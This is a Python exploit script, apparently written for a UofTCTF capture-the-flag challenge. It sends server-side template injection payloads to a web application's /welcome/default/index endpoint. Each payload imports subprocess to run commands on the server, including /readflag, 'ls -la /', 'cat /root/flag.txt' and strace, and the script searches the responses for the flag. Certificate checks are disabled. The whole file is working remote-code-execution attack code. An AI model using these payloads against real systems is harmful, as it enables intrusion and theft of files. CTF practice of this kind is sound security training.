#!/usr/bin/env python3
"""
Debug why /readflag isn't producing output
"""

import requests
import urllib3

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def debug_readflag():
    """Test various ways to execute and capture /readflag"""
    
    tests = [
        # Test if we can even exec commands
        ("echo test", "{{=__import__('subprocess').check_output(['echo', 'test']).decode()}}"),
        
        # Test /readflag directly
        ("/readflag direct", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
        
        # Test with shell
        ("/readflag shell", "{{=__import__('subprocess').check_output('/readflag', shell=True).decode()}}"),
        
        # Test ls to see if file exists
        ("ls -la /", "{{=__import__('subprocess').check_output(['ls', '-la', '/']).decode()}}"),
        
        # Test cat directly on flag
        ("cat /root/flag.txt", "{{=__import__('subprocess').check_output(['cat', '/root/flag.txt']).decode()}}"),
        
        # Test with strace to see what happens
        ("strace /readflag", "{{=__import__('subprocess').check_output(['strace', '-e', 'trace=open,openat,read', '/readflag'], stderr=__import__('subprocess').STDOUT).decode()}}"),
    ]
    
    for name, payload in tests:
        print(f"\n[>] Test: {name}")
        print(f"    Payload: {payload[:80]}...")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        print(f"    Status: {response.status_code}, Length: {len(response.text)}")
        
        # Simple search
        if "uoftctf" in response.text:
            print("\n[!!!] FLAG FOUND!")
            idx = response.text.find("uoftctf")
            print(f"FLAG: {response.text[idx:idx+50]}")
            return
        
        # Look for any interesting output
        if name == "echo test" and "test" in response.text.lower():
            print("    [+] Echo worked! Command execution confirmed")
        elif name == "ls -la /" and ("root" in response.text or "home" in response.text):
            print("    [+] Directory listing might be visible")

if __name__ == "__main__":
    debug_readflag()
